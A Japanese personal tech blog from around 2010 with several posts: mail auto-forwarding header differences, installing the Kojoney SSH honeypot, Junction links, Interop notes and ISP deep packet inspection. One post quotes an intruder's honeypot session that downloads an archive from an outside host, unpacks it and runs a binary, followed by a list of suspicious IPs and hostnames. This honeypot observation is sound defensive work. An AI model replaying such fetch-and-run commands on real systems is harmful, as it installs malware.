uso8000k.net

user_a@example.com がSubjectにTest"と入ったメールを受信した際には自動でuser_b@hogehoge.comに送る設定を行うとして、

From:　　guest@test.com

Subject: Test

なメールが届いた時、使用しているメーラがThunderbirdの場合とOutlookExpressの場合の違いについて書いてみる。

■ Thunderbirdにてメールを受信し自動転送する

From　　　　　　　- Thr, Jan 1 01:00:00 1970

Return-Path:　　<user_a@example.com>

X-Original-To:　user_b@hogehoge.com

Delivered-To:　 user_b@hogehoge.com

Received:　　　　from mx.example.com (mx.example.com [10.0.0.1])

　　　　　　　　　　by mx.hogehoge.com (MTA) with ESMTP id FFFFFFFFFFFF

　　　　　　　　　　for <user_b@hogehoge.com>; Thr, 1 Jun 1970 00:00:30 +0900 (JST)

Received:　　　　from unknown (gw.example.com [10.0.0.254])

　　　　　　　　　　by mx.example.com (MTA) with ESMTPSA id AAAAAAAAAA

　　　　　　　　　　for <user_b@hogehoge.com>; Thr, 1 Jun 1970 00:00:15 +0900 (JST)

Message-ID:　　<11111111.1111111@example.com>

Date:　　　　　　 Thr, 1 Jun 1970 00:00:00 +0900

From:　　　　　　 <user_a@example.com>

User-Agent:　　Thunderbird ----

MIME-Version: 1.0

To:　　　　　　　　user_b@hogehoge.com

Subject: 　　　　[Fwd: Test]

---以下本文

-- guest@test.com は書きました

From: guest@test.com

Subject: Test:

最終的にこのようなメールが user_b@hogehoge.com に届く

■ OutlookExpress系列の場合

From　　　　　　 　- Thr 1 01:00:00 1970 
                                                                      
Return-Path:　　 <user_a@example.com>

X-Original-To: 　user_b@hogehoge.com

Delivered-To:　　user_b@hogehoge.com

Received: 　　　　from mx.example.com (mx.example.com [10.0.0.1])

　　　　　　　　　 　by mx.hogehoge.com (MTA) with ESMTP id FFFFFFFFFF

　　　　　　　　　 　for <user_b@hogehoge.com>; Thr, 1 Jun 1970 00:00:30 +0900 (JST)

Received: 　　　　from pc1 (gw.example.com [10.0.0.254])

　　　　　　　　　 　by mx.example.com (MTA) with SMTP id AAAAAAAAAAA

　　　　　　　　　 　for <user_b@hogehoge.com>; Thr, 1 Jun 1970 00:00:25 +0900 (JST)

From:　　　　　　　<user_a@example.com>

To: 　　　　　　　　<user_b@hogehoge.com>

Received:　　　　from mx.example.com ([unix socket])

　　　　　　　　　　by mx.example.com (MTA) with LMTPA; Thr, 1 Jan 1970 00:00:15 +0900

X-Mailer: 　　　　Microsoft Outlook Express 6.00.xxxx.xxxx

Received: 　　 　from test.com (ns.test.com [10.1.1.1])

　　　　　　　　　　by mx.example.com (MTA) with SMTP id 00000000000

　　　　　　　　　　for <user_a@example.com>; Thr, 1 Jun 1970 00:00:12 +0900 (JST)

Received:　　　　(MTA); 1 Jun 2010 00:0:10 +0900

Received:　　　　from unknown (HELO pc1.local.test.com) (10.1.1.254)

　　　　　　　　　　by ns.test.com with SMTP; 1 Jan 1970 00:00:10 +0900

X-MimeOLE:  　Produced By Microsoft MimeOLE V6.00.xxxx.xxxx

Message-ID:  　<11111111.111111@test.com>

Date:　　　　　 　Thr, 1 Jan 1970 00:00:00 +0900

User-Agent:　　Thunderbird ----

MIME-Version: 1.0

Subject: Test

---以下本文

最終的にこのようなメールがuser_b@hogehoge.com 宛に届く

要は受けた内容をそのまま本文、添付に載せて送っているか、Fromを詐称しつつ中継サーバの真似事をして配送しているかの違い。後者はメーラの仕事から外れたなかなかの外道では無いだろうか？久々に驚いた仕様でした。

昨日終わりぐらいに早速ロシア製肉入りが現れた模様。 ログの部を抜粋。

2010-06-26 23:37:28+0900 [185,89.123.218.182]

root authenticated with password

COMMAND IS : w

COMMAND IS : uptime

COMMAND IS : ls

COMMAND IS : uname -a

COMMAND IS : wget arhive.ucoz.net/accesing.log.tgz ;tar zxvf accesing.log.tgz

COMMAND IS : tar zxvf accesing.log.tgz

COMMAND IS : rm -rf accesing.log.tgz

COMMAND IS : cd .acces.log

COMMAND IS : chmod +x *

COMMAND IS : ./hald-runner

COMMAND IS : ./hald-runner

connection lost

lsとuname打ってるので人間と判断。とりあえずucoz.netは止めたほうが良さそう。
ついでにダウンロードしてたものの中身を見てみたら妙な実行ファイルを持っているので拝見。

hald-runner: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),

dynamically linked (uses shared libs), for GNU/Linux 2.2.5

流石汎用。で、内容はファイル構成から推測するとIRCサーバを立てるか、繋ぎにいくものと予想。(IRCコマンドがたくさんあるのだもの('A‘)) とりあえず、今回の収穫として、次のドメイン名/IPアドレスは胡散臭い。

94.125.182.255

38.114.116.5

208.83.20.130

194.109.20.90

64.18.128.86

82.196.213.250

193.109.122.67

angelguard.users.undernet.org

cromat.users.undernet.org

nebuniii.users.undernet.org

complex.users.undernet.org

scaparici.users.undernet.org

そのまま乗ってるんだもの・・・お粗末様。

先日のkojoneyについて、インストール時のトラブル等些か不安ではあるが、SSH (22)にて一日待機。結果、殆どが認証エラー。認証が通った有効な接続の殆どが自分のテスト接続だったりする。ダミー用ユーザアカウント（ユーザ・パスワードが予想可能なもの）を予め用意してあるが、そのユーザアカウントですら認証を通って無い．．．正常のシステムで動いているものだと当たる訳ないじょん。でも当たるから行われてるのよね・・・軽く絶望。

ところで、この接続元のアドレスどうしてくれようかな・・・

SSH HoneypotであるKojoney (0.0.4.2) を入れてみるなど。昨今のSSHのブルートフォース攻撃には面白みを感じなく、SSHのハニーポットを試してみたくなる。SSHっぽい応答をしてダミーのシェルを返す仕様。当然システムのシェルは仕様できない。ログには何を打ち込んだかが記録され、後でニヤニヤしながら読むことができる。また、乗っ取った後、日々のブルートフォースアタック先の事勉強もできるかもしれない。ので、置いてみました。

・・・・


・・・このインストーラーを作った奴は誰だ！女将を呼べ！生粋のプログラマではないがこれは酷い。先ずは酷い場所を列挙。

1. 先ずはINSTALL.shにパーミッション設定漏れ
2. INSTALLの内容が"INSTALL.shを実行しろ"だけ
3. [srcdir]/lib/にて多数のPythonモジュールがあり問答無用でインストール開始
4. 故、パッケージで既に入れているものはパッケージ管理との整合性が狂う
5. cd G* とか、cd Z*とか平気で書いている 今後被ったらどうするのやら
6. オプションでこれらのモジュールのインストールを飛ばせない
7. スクリプト内に散らばる絶対パス
8. [/usr/share/kojoney/*.py]->[/usr/share/bin/] あまりメリットの無い謎のシンボリックリンク

他にも色々あったと思うけど割愛。メンテナンス性0じゃないか・・・Linux前提ってことで/usr/直下に展開したいのは分かるけど酷すぎる。のでSTOWを使うこと前提に以下の修正を行う。

1. 「自分の使用するパッケージシステムで」Twisted等をあらかじめ入れておく (もちろんPythonも)
2. Stowの基本ディレクトリにKojoney-0.0.4.2ディレクトリを作成 (以下、STOW_PATH)
3. STOW_PATHにbin/,var/log/kojoney/,share/kojoney/,share/man/,etc/kojoney/を作成
4. INSTALL.shのKOJONEY_PATHを$STOW_PATH/share/kojoney/に展開するよう書き換える
5. 散りばめられた絶対パスを其々STOW_PATH/***と変更する
6. INSTALL.shのSTEP2 (必要モジュールインストール) 部分全体をコメントアウト
7. STOW_PATH/share/kojoney 内 *.pyのパス指定をStowの代表パスに変更
8. # INSTALL.sh
9. # stow kojoney-0.0.4.2

動いた。アンインストールはディレクトリを消すだけ。超簡単。
しかし・・・アップデートは面倒くさそう。

機械に接続されたケーブルに貼るラベルには2通りの書き方がある。

• そのケーブルのコネクタがどの機械のどの場所に繋がっていたか
• そのケーブルの対向がどの機械のどの場所へと繋がっているか

前者はサーバ、ネットワーク機器の移設を円滑に行い、後者はメンテナンス保守を円滑に行う。両方を使い分けると良い。要は自分がラベルを使用するとき"その時、何を知りたい"かを考えて書く事をお勧めする、ということ。移設のときのトラブルでは何に繋がっていたかが一番知りたい訳だし、宛先見て神経衰弱をしている暇などない。ただ、保守にソレを行うと、そのケーブルがあるコネクタに刺さってるのにさらに見えている状態で明示してやや冗長である。 (まぁ、抜けた時にの対策にはなる為無意味ではないが…)

EPSON ENDEAVORシリーズのXPモデルの修復インストールを試みた際に妙なことに気づく。 Windows XP の入ったCDが付いているのは良い。 ただ､CDブートからのセットアップを立ち上げた際に、途中のライセンス条項をすっ飛ばして 自動的にセットアップのパーティション割り当てまで進んでしまう。これは非常に行儀が悪い。 修復インストールや回復コンソールが立ち上がらない・・・

修復インストール通常手順
TOPメニュー[Enter]→ライセンス条項[F8]→インストール済みWindows確認[R]→修復開始
[R]
↓
回復コンソール起動

これらの内容すっ飛ばされる。酷い。

Sysinternals のJunction 。Unixでのシンボリックリンク機能を提供。一応NTFSでも類似機能は隠し機能として存在し、設定の際で一般的に使われるのがJunction。

追加 > junction.exe [リンク名][リンク先]

削除 > junction.exe -d [リンク名]

当たり前でありますが中途半端なところからリンクを貼ると地獄を見ます。 Windowsのエクスプローラからは視認ができないだけに。 (一応dirコマンドでは見えますが・・) 用途を考えて根本修正を行う事をお勧めします。 誰ですか、ユーザプロファイルの容量を抑えようとMy Documentsだけどこかに退避した人は・・・私か。 うっかり誤認して複製完了オリジナルを削除したら複製したと思ったものまで削除。 他にもバックアップは取ったので問題は無かったが、リアルタイムにファイルが減ってかなり焦ったり。

Junctionで貼ったリンク内のファイルをリンク先にコピーをしたら 「ファイル見つからない」 的なエラーは出るので見逃さない/不思議に思う事。

Sysinternals純正Junctionでリンクを貼るときの鉄則

1. ファイル、フォルダ入り混じる場所では使わない
2. 容量を工面する場合、根本をつく解決をする
3. "!!JUNCTION!!.txt" 等、貼った場所には記録を置く

・・・当たり前か、ハァ

サイバーガジェットと呼ばれる物資の調達をしてたら、PC-DIY夏の陣が開催されていた。PCの部品のブースと、CPU、SSDのプレゼン、あとオーバークロック話。事前にコンテストもあったらしくそれの表彰式とか。内容は非常にあっさりはしていたが、一角のIntelブースにてドライアイスを使用したオーバークロックデモがあったりと異常に濃いイベントも。 COREi7の875kをベースに倍率変えのFSB変えの、ドライアイスで-60度まで冷やしーので約5300MHzまでオーバークロック。成功。やべぇ。

というか、最近のPCのオーバークロックは、ベースクロックを弄らず倍率を変えるのか・・・時代は変わったものだ。ベースクロック弄ってーの、電圧弄ってーのというのは非常にバランス取りが難しく、且つリスキーだった記憶があります。何にしても良い時代だ。そして自分のPCはBlackEditionだった事を思い出す。頃合見て上げないと宝の持ち腐れになりそうですね。

"光ファイバは 破壊力" 燃えるらしい 1W1000波長で 光ファイバが。ファイバフューズと呼ぶらしい。やはりインフラ周りのクラスルームに外れは無かった。研究レベルでは現段階で69Tbpsまでは行けるとの事。また、異常に光の通信料が増えたため光からEther等に変換するのも大変らしく、光スイッチングや、光パケットといった技術を運用しているとか。機器を作っている横河電気凄いです。というかコアネットワーク周りだと既にそのようなこともやっていたのですね…

そして、実は去年のInterop2009で既に光バーストスイッチを使用していたとか"Matisse Network"のリングバースト技術を使っていたとか。ちなみにMatisseネットワークはリーマンショックで潰れたらしい。凄い技術と経営は一致しないのか・・・ そして、昨年私は何を見ていたのでしょうか orz

Kasperskyの代表のユージン・カスペルスキー基調講演。上記クラスルームが面白く、途中からの参加となってしまった。ボットネットや盗データが何故流行るか、1. お金になるから 2.簡単 (ちょっと調べたりお金を出せばできる) 3.ゲーム感覚で出来る (犠牲者への接触が無い) からであるとの事。3を聞いて確かに助長している感じはあった。 3をねじ曲げた解釈として詐欺のプロがさらに覆面を被れる事が犯罪を起こせるといいう事も、問題だと思う。実生活の詐欺は面は少なくともばらさなければならないが、ネット上だと面も晒す必要が無い。

対策としてはサイバーポリス、免許制、セキュアなOSという事。ここでKaspersky使いなさいと言わない辺り、非常に好感を持てました。また、面白いネットワークの解釈で、携帯電話は登録を行わないと端末から通信は出来ないがPCについてはルータ噛ませれば幾らでも、自由に端末を増やして悪意のある端末を足したりすることができるので、元から端末登録制の携帯電話のネットワークは比較的セキュアに作りやすいとのこと。面白かったです。

製品については・・・ほぼ消化試合。やはりセキュリティ製品が目立たない。クラウドに喰われてしまった。もしくは当たり前となってしまったか。あと最終日後輩と合流し、スタック構成可能なスイッチに興奮していたのが印象的でした。皆こうだと良いのに。

あと今年は調子に乗ってShownetツアーに参加しないと考えていたが、自分の取ったメモが正しいか不安になり、結局参加を試みました。だが、くじ引きで外れ。泣ける。

と、まぁ、今回は製品についてはあまり実感のわかない物が多かったが、その分自分のスキル周りの情報を沢山収集することができ、予定外の充実っぷりでした。来年は・・・どうしよ。長期間不在は色々と不味い気がする。

今年はクラスルームが充実している模様。昨日後輩が聴いた内容の伝聞で「100Gbps=10Gbpsx10とならない理由」も面白かったが、本日の｢システム体感速度の高速化｣も面白かった。基本、構築周りやトラブルシュートの話にハズレは無い。クラウドについてはVMwareの公演のみでお腹いっぱい、やっぱり仮想化になりますね。仮想化といえばXenServerの話を今年はまったく聞かない。あんなに可愛がってたのに。スマートグリッドについては聴いた公演が不味かった。

本日は基調講演とクラスルームの合間にShownetのネットワーク図の不足情報を印刷したトポロジー図に書き足していました。人を通さず機械の説明から色々推測することを今回は頑張ってみた。といってもほとんど重要なことは書かれてて、機械の位置と役割の確認がほとんどでしたが；

ところで今年は同時開催のDSJ (デジタルサイネージジャパン) 2010 が非常に力強い。会場の3分の1を占めるほか、インパクトのあるコンテンツも多く、お客さんもそちらに流れている感じがありました。広告の特徴は、縦長のスタンドディスプレイ、余った無駄なスペースに埋め込んでいるもの、手ごろなサイズの裸眼3Dディスプレイが多かったです。ただ気になったところは、立派なコンテンツをニッチな場所に置こうとするたびに今度はケーブルが目立ったという。やはり無線の進歩は必要なのかもしれない。

あと3Dコンテンツについてプロの環境は恐ろしい。SONYはコンテンツを作るほか余力で未発達な分野からテクノロジーセンターといった啓蒙施設までに力を入れている。ついでに彼らは20年近く立体視はやっているので… 身の周りで流行っている為、なんとも報告しづらい気分になった。これは絶望する。

簡易ながら記録

基調講演を軸に参加

10：30～11：15

クラウド、巨大データセンタ、そして、スマートグリッド

Google 名誉会長 村上憲郎

基本Googleの宣伝でした。

昨今の風評に対するGoogleの解説は

■我々は無料でシステムの提供をし続ける
　広告の収入のみで一本化を図る (世界の収益の97%は広告、と)
　課金ありのシステムはエンジニアの発想を止めてしまう
　彼らは開発に集中させたい、と

■我々はコンテンツを所持しているのではない
　コンテンツの場所を示している、検索性機能を提供している
　Gmail等のユーザやり取り情報については預かっている、と

(StreetViewのデータはGoogle独自の収集データですよね)
(預かっているが情報は利用しなくも無いですよね)
その他、色々ありました…

12:30～13：30

街角に入り込むインターネットとデジタルサイネージの挑戦

<モデレータ> 中村　伊知哉

<パネリスト> 村井　純・古川　享

■日本語はTwitterでは15%(2位)、インターネットでは4位と高位
　Twitterにて占める日本語の割合に驚き

■ワイヤレスによる高速回線が必要→劇的に発展するであろう技術
　基本ワイヤードでは世間が望んだ魅せるデバイスというのは確かに難しい

■メディアは形式の標準化が必要
　つくられる一方、メディアが変わり、捨てられるコンテンツが多すぎる

■版権コンテンツを少しでも使う場合9近くの利権が絡み、足枷
　一筋縄でいかず大変のようです

図らずも両公演にて共通の話題が"担当技術者が集中できる環境を作ることが望まれる"ということ。 技術は技術屋、デザイナはデザイナ（技術を知る部分も伏せられるようなフレームワークなどあると良い）
簡易ながら記録。

現行、英国で使われているDPIシステムPhormの方法について

http://upload.wikimedia.org/wikipedia/en/4/45/Phorm_diagram.svg

(from: 高木浩光 先生)

1. クライアントから接続のをあて先として振舞い通信を受ける
2. 固有ID発行しサーバへ誘導するID付きリクエストを発生させる
3. IDをつけたCookieを発行
4. 再びあて先として振る舞い、転送のためにつけたリクエストの引数を取り外す
5. Proxyサーバへ誘導、本サーバからコンテンツ取得
6. これまでの処理で発行したCookieをProfilerに入れる
7. (ついでに見ているサイトのコンテンツもProfilerにて収集する)

なるほど手を加えた透過プロキシみたいな感じで動くのですね・・・ Cookieと、接続IDを発行してProfiler (固有情報管理) に喰わせる、と。そして、クライアント側でCookieを切れば接続もできない、と。こういった方法を取る製品があるとは勉強になりました。接続を3回騙される。

そして、これはプロバイダ屋がすることなのだろうかと再び疑問。

「GoogleのWindows利用中止」の報道にMSが反論

私的にはかつての発言の Go on without me. (勝手にしろ) 位の強気な姿勢でいて欲しかったです。世間的に技術者集団と定評のあるGoogleが使うのをやめたって事のによる悪いイメ－ジ故にこういった対応をしたくなるのかもしれませんが。

ところでGoogleのOSが自由に選べる環境というのは・・・ユーザが使う環境はまとめて管理されていないんですかね。自己責任で管理者所持なんでしょうか。カーネルやパッケージのアップデートは任意でしょうか。以降、全部自社のCromeOSにする様なのでその辺の問題は改善されると思うのですが。

この手の話題（Windows VS Linux）では、何故毎回Windowsは駄目だと言われるのだろうか。確かに万人には満足する作りでは無いし、かといって自由度の高いOSでもない。昨近の動向に至ってはVista/Office2007からの独特な動きで好き勝手されて迷惑を被る。話題も主にそのようなところでした。しかし、Windowsが真に優れたところは統一された環境が提供されている事で、管理方法も統一できることがゴッソリ抜けています。（統一されたが故に件のセキュリティ穴等の欠点もある訳ですが）この件については誰も語らない、誰も庇わない。UNIX系OSを組織で使う際に複数の組織/プロジェクトが絡まないActive Directoryと同等もしくはそれ以上な管理環境ってフリーでは無いような気がします。(SAMBAとかMSが作った仕組みの模倣は無しで) 故、何かと管理が大変ではないでしょうか。ユーザ管理および資源使うにしてもLDAP経由でActiveDirectoryと連携したりとか、結局Windows環境に依存したりとか。なんだかね。
某巨大掲示板同内容を扱うスレにて

> OSのあり方や、不便を強いられてることに疑問を持たない人間多すぎ。

よく聞く意見で、確かに不便を被り疑問を持つ方もいらっしゃるかと思います。ただ、だからといってフリーの思想に基づいた野良の群体アプリケーションに振り回されて不便になっている事に気づかない人も多いですよ、と。言いたいところではあります。オープンソースが決して悪いとは言いませんが、色々な方の色々な手法をシステムを組むとどこかしらに皺寄せが生じるのも頭の片隅に置いて頂ければと常々思います。

お互い得意不得意あるし仲良くしたいものですが・・・
多分交わることは無いのでしょう

また、よく語られるWindows アップデートについては
実際のところ昨今のアップデートは管理者で好き勝手しない限り失敗しないでしょうに・・・あとは事前に提供側の修正内容に問題が無い か調査をすれば、なお良しです。
そこにあるものを用途に応じて適切に使っていきましょう。

追伸:
好き勝手書きましたが、決してMicrosoftの狗ではありません。
このサーバもLinuxですし。

Windows 7 にて共有プリンタを追加してプロパティを表示した際、これまで (XP) の場合はポートを表示するとローカル側のポート一覧が表示されたが、7からXP資源の共有プリンタに接続するとXP側のポート構成が見える。さて、コレによって良いことはあるだろうか。多分無い。精々これまでどのようなプリンタポートを追加して削除してないかが露呈するくらいだろう。ただこれは結構マニアックな情報ではあると思う。

訂正 20100602163001：
実はXP環境でもみれていたという。ただ、ポートのチェックボックスがグレーアウトせず、設定も変更はできず。Windows 7 の場合グレーアウトして明示される。び、微妙なものを挙げてしまった。

「ネット全履歴もとに広告」総務省容認　課題は流出対策 (Asahi.net)

検閲の良し悪しは置いて、先ずは"いったいどうやるのだろうか？"と少々疑問。 Asahiの内容だと検閲をプロバイダ側で行う的な書き方をしているがこれは如何がものだろうか。

今回の内容については「ネット全履歴もとに広告」となる訳ですが、このネットというのは広告を載せる云々の話になるため「HTTP」のみを主で語られているものと思われます。 HTTPの途中で抜き出して統計を取ること、そして、業者に提出/中継はやれば出来ると思います。 しかし、プロバイダにて情報を管理、統制する場合、個人の特定とはどのように行うのでしょうか。

プロバイダが管理するものはこちらの接続情報つまりは契約番号とIPアドレスの紐付け程度が基本です。 これまでもログは何かしら取っていたと思いますが、以降、全ユーザのアクセスについてのログを常時管理するとすると次の問題が考えられます。

■ 一個人のログの管理について
個人は接続をする際、変動するIPアドレスが一般的であり、管理するにはIPではなく、接続IDもしくは契約番号等での管理が必要になります。その為、監視の仕組みを導入を行い、ログをIP等のネットワークの出力そのままではなく、接続ID等で管理を行えば理屈では切り出し可能な個人のアクセス履歴を出力が出来るものと考えます。もしくは、ログには接続IPのみを記録し、時間帯から接続IDをすぐに呼び出せる仕組みが必要になるでしょう。

ところでこの収集した情報ですが、どのようにしてそのDPI業者に渡り、業者はどう使うのでしょうか？DPI業者はプロバイダとは当然外部扱でしょう。 情報の使用(アクセス) 方法はプロバイダ/DPI企業間でよろしく行うとして、DPI業者が情報を使用する場合、個人特定の情報元である接続ID、契約IDが無い有効には使えません。契約IDとIPアドレスの紐付け情報を渡すか、何か一意の情報を作って渡す必要と思うのです。

それでもやると言うのだから、既存のシステムから発想を変えて、ケータイみたいに固有IDでも振るという事でしょうか・・・コレ

■ 取得法の疑問について
取得方法については実際プロバイダ側は手を加えれば如何様にも収集は出来そうです。しかし、これはどの種類の通信を情報を取得しようとしているのだろうか。記事内のパケットインスペクション技術例としてあげているWinnyについては、プロトコルも明確であり通信挙動も明確なことから、行われている不特定の通信に対しての一斉に制限を行うことはできます。ゆえに制限として一役かっているという話でしょう。ここで個別 （上記、特定済みユーザ）の接続を判定し、内容を随時適切な相手に送り出す仕組みとなると・・・何か仕組みが違う気がするのです。

と、本来ならネットワークの中継とか基盤の部分じゃなく、従来の通りWebサービス提供側での楽天のグレー技術ad4Uや、Googleのマメな情報収集的 なものが一番適任ではないかと思うのですが・・・そしてパケットインスペクションの話はまたべつな問題じゃないだろうかとも思えます。

果たしてこれは、プロバイダ側にて行うことなのだろうか？
説明と内容がよく噛み合わず、別な意図も考えてしまいます。

コア寄りの人間ではないので、殆ど素人考えなのですが。
個人の嗜好とか流出対策以前に、いろいろと検討するべき事が多いと私は考えます。